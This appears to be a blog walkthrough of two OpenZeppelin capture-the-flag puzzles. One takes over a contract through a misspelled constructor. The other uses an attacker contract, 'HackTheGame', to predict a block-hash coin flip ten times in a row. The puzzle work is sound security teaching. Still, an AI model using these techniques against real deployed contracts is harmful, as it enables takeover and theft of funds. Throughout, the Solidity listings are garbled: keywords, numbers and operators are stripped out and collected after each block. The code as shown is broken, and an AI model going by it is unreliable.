This is an in-depth series of Blogs around OpenZeppelin's smart contract security puzzles. The aim of blogs is to provide a detailed explanation regarding various concepts of Solidity and EVM required to solve a Puzzle. It is highly recommended to attempt to solve these puzzles before reading further. Level 2: Fallout The Smart Contract Code provided is : pragma solidity ^ ; ; contract Fallout { SafeMath uint256; (address => uint) allocations; address payable ; Fal1out() payable { owner = msg.sender; allocations[ ] = msg. ; } modifier onlyOwner { require( msg.sender == , "caller is not the owner" ); _; } allocate() payable { allocations[msg.sender] = allocations[msg.sender]. (msg. ); } sendAllocation(address payable allocator) { require(allocations[allocator] > ); allocator.transfer(allocations[allocator]); } collectAllocations() onlyOwner { msg.sender.transfer(address(this).balance); } allocatorBalance(address allocator) (uint) { allocations[allocator]; } } 0.5 .0 import 'openzeppelin-solidity/contracts/math/SafeMath.sol' using for mapping public owner /* constructor */ function public owner value owner function public add value function public 0 function public function public view returns return The aim of the puzzle is to claim ownership of the contract. Let's Solve the Puzzle: Analyzing the code : We want to change ownership of the contract. The only function which changes Ownership of the contract is Fal1out(). Let's call the function and claim ownership. In the Dev Console, call the Fal1out function and submit the instance. > contract.Fal1out() { : , : {…}, : ( )} await tx "0x06f7162edfa833179373d1c17f41040bc384374886c5ddfd7cf28e69d2327507" receipt logs Array 0 That's It! Check the owner of the contract and you should see your address. The vulnerability in the contract was the typo in name of Fal1out(). It was supposed to be a constructor, so its name was supposed to be Fallout(). Since the name is not the same as that of contract, the function behaves similar to any other function. Level 3: Coin Flip The Smart Contract provided is : pragma solidity ^ ; ; contract CoinFlip { SafeMath uint256; uint256 consecutiveWins; uint256 lastHash; uint256 FACTOR = ; constructor() { consecutiveWins = ; } flip( _guess) ( ) { uint256 blockValue = uint256(blockhash(block.number.sub( ))); (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); side = coinFlip == ? : ; (side == _guess) { consecutiveWins++; ; } { consecutiveWins = ; ; } } } 0.5 .0 import 'openzeppelin-solidity/contracts/math/SafeMath.sol' using for public 57896044618658097711785492504343953926634992332820282019728792003956564819968 public 0 function bool public returns bool 1 if bool 1 true false if return true else 0 return false The aim of the puzzle is to guess the outcome of the flip 10 times in a row. Analysis of Code: Let's check the flip function. flip( _guess) ( ) { uint256 blockValue = uint256(blockhash(block.number.sub( ))); (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); side = coinFlip == ? : ; (side == _guess) { consecutiveWins++; ; } { consecutiveWins = ; ; } } function bool public returns bool 1 if bool 1 true false if return true else 0 return false As we can see, the function takes one parameter which is _guess. It is boolean and it can be either true or false. block.number => stores the block number of the last block. blockhash(uint n) => returns hash of block number n. blockValue is calculated and divided with FACTOR, the answer is stored in coinFlip. If coinFlip == 1, side = true else side = false. Value of side if compared with _guess. If they are equal, consecutiveWins is incremented else consecutiveWins is set to 0. So, now we can either call the flip function by making guesses and hope we can get 10 answers correct consecutively, or we can use another smart contract which will compute the result before calling the flip function and call the flip function with the result. Let's define a contract which will compute a similar result and call the flip() function with an appropriate guess. contract HackTheGame{ using SafeMath for uint256 CoinFlip coinFlipContract uint256 FACTOR = constructor(CoinFlip _coinFlip) public{ coinFlipContract = _coinFlip } function makeGuess() public { uint256 = uint256( uint256 coinFlip = guess = coinFlip == ? true : false coinFlipContract.flip(guess) } } ; ; 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; ; blockValue blockhash(block.number.sub(1))); blockValue.div(FACTOR); bool 1 ; ; As it can be seen in HackTheGame contract, in makeGuess(), the guess is calculated in the similar way like "side" is calculated in flip function of CoinFlip contract. So, if we call the makeGuess() function 10 times, we can expect the guess to be correct. You can now submit the instance. Conclusion: In these puzzles, we learned how a small typing mistake in the contract can lead to some major vulnerabilities. Also, we learnt how we can use another contract to hack a contract.